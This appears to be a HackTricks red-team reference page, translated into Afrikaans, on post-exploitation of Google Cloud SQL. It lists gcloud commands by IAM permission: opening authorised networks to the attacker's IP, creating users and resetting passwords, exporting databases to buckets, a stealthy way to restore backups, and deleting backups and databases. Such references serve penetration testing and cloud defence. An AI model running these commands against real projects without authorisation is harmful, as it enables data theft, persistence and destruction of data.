GCP - Cloud SQL Post Exploitation

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Wolken SQL

Vir meer inligting oor Wolken SQL, kyk:

pageGCP - Cloud SQL Enum

cloudsql.instances.update, (cloudsql.instances.get)

Om met die databasisse te verbind, het jy slegs toegang tot die databasispoort nodig en moet jy die gebruikersnaam en wagwoord weet, daar is geen IAM-vereistes nie. Dus, 'n maklike manier om toegang te kry, veronderstel dat die databasis 'n openbare IP-adres het, is om die toegelate netwerke op te dateer en jou eie IP-adres toe te laat om toegang te verkry.

# Use --assign-ip to make the database get a public IPv4
gcloud sql instances patch $INSTANCE_NAME \
--authorized-networks "$(curl ifconfig.me)" \
--assign-ip \
--quiet

mysql -h <ip_db> # If mysql

# With cloudsql.instances.get you can use gcloud directly
gcloud sql connect mysql --user=root --quiet

Dit is ook moontlik om --no-backup te gebruik om die rugsteun van die databasis te ontwrig.

Aangesien hierdie die vereistes is, is ek nie heeltemal seker wat die toestemmings cloudsql.instances.connect en cloudsql.instances.login beteken nie. As jy dit weet, stuur 'n PR!

cloudsql.users.list

Kry 'n lys van al die gebruikers van die databasis:

gcloud sql users list --instance <intance-name>

cloudsql.users.create

Hierdie toestemming maak dit moontlik om 'n nuwe gebruiker binne die databasis te skep:

gcloud sql users create <username> --instance <instance-name> --password <password>

cloudsql.users.update

Hierdie toestemming maak dit moontlik om gebruiker binne die databasis te opdateer. Byvoorbeeld, jy kan die wagwoord verander:

gcloud sql users set-password <username> --instance <instance-name> --password <password>

cloudsql.instances.restoreBackup, cloudsql.backupRuns.get

Backups mag ou sensitiewe inligting bevat, so dit is interessant om dit te kontroleer. Herstel 'n rugsteun binne 'n databasis:

gcloud sql backups restore <backup-id> --restore-instance <instance-id>

Om dit op 'n meer sluipende manier te doen, word dit aanbeveel om 'n nuwe SQL-instantie te skep en die data daar te herstel in plaas van in die huidiglik lopende databasisse.

cloudsql.backupRuns.delete

Hierdie toestemming maak dit moontlik om rugsteune te verwyder:

gcloud sql backups delete <backup-id> --instance <instance-id>

cloudsql.instances.export, storage.objects.create

Voer 'n databasis uit na 'n Cloud Storage Bucket sodat jy daarvandaan toegang daartoe kan verkry:

# Export sql format, it could also be csv and bak
gcloud sql export sql <instance-id> <gs://bucketName/fileName>

cloudsql.instances.import, storage.objects.get

Voer 'n databasis in (oor skryf) vanaf 'n Cloud Storage Bucket:

# Import format SQL, you could also import formats bak and csv
gcloud sql import sql <instance-id> <gs://bucketName/fileName>

cloudsql.databases.delete

Verwyder 'n databasis van die db-instansie:

gcloud sql databases delete <db-name> --instance <instance-id>
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated